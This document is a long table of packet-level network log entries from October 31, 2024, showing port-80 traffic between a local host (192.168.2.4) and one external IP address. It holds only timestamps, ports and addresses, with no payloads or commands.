Oct 31, 2024 07:14:10.585000992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.585012913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.585024118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.585051060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.585076094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.590326071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.590337992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.590347052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.590378046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.590394974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614686966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614742041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614788055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614798069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614809036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614819050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614830017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614830017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614851952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614876032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614937067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614949942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614964962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.614983082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.614994049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615005016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615015984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615025997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615042925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615070105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615360022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615370035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615381956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615407944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615430117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615431070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615442991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615466118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615478992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615725994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615745068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615758896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615767956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615786076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615811110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615845919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615858078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615868092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615880013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615891933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615911007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.615923882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.615947008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.616307974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.616352081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.616353989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.616362095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.616391897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.616403103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.658472061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658488989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658503056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658510923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658516884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658520937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.658523083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.658545971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.658576012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.662035942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662046909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662066936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662077904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662086010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.662091017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662096024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.662164927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.662164927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.703442097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.703453064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.703478098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.703488111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.703502893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.703540087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.708889008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.708894968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.708899975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.708954096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733310938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733324051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733346939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733364105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733367920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733376980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733385086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733387947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733397961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733400106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733412981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733433008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733458042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733670950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733690023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733700991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733712912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733738899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733864069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733875990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733887911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733899117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.733905077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733931065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.733958960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734137058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734155893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734177113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734196901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734270096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734289885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734301090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734309912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734321117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734345913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734345913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734358072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734369040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734380007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734386921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734388113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734400988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734430075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734430075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734441996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734452963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734467030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.734471083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734498024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.734533072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.735152006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.735162020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.735193968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.735208988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.777112007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.777122974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.777133942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.777234077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.780704975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.780738115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.780749083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.780756950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.780802965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.780836105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.780848026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.780884027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.822164059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.822175026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.822185040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.822196007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.822216988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.822248936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.827931881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.827971935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.827982903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.827996016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.828018904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.828046083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.828052044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.828057051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.828087091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.828109026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853041887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853060961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853071928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853084087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853095055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853106022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853118896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853142023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853154898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853164911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853166103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853176117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853188038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853199005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853216887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853233099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853415012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853425980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853437901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853450060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853461027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853470087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853470087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853473902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853494883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853494883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853507996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853512049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853519917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853530884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853535891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853544950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853554964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853559971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853566885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853576899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853579044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853589058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853602886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853624105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853652954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853694916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853707075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853720903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.853749037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.853765965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.894294024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.894304037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.894423008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.895723104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.895742893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.895755053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.895772934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.895812035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.899410963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.899421930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.899432898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.899468899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.899488926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.899492025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.899498940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.899528980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.899545908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.940943003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.940954924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.940965891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.941059113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.946603060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.946614027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.946624041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.946693897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.970807076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970827103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970837116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970865965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.970885992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.970890999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970896959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970901966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.970937967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971069098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971106052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971127987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971138000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971151114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971168041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971178055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971316099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971355915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971359015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971369982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971398115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971431017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971453905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971465111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971482038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971492052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971528053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971688032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971709967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971721888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971741915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971750975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971769094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971781015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971784115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971796036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971878052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.971910000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971950054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971959114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.971961021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972003937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972013950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972084045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972129107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972134113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972145081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972172976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972177982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972183943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972223997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972467899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972496986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972515106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972515106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972543955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972546101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972554922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972570896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972578049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972595930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972762108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972801924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972829103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972841978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972858906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972868919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:10.972870111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972882986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:10.972907066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.015167952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.015204906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.015214920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.015228987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.015259981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.018043995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.018055916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.018066883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.018081903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.018091917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.018109083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.018135071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.060046911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.060113907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.060168028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.060178041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.060211897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.065557003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.065645933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.065700054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.065711021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.065721989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.065768003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.089538097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089612961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:11.089695930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089706898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089716911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089730978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:11.089740992 CET	49730	80	192.168.2.4	185.215.113.206
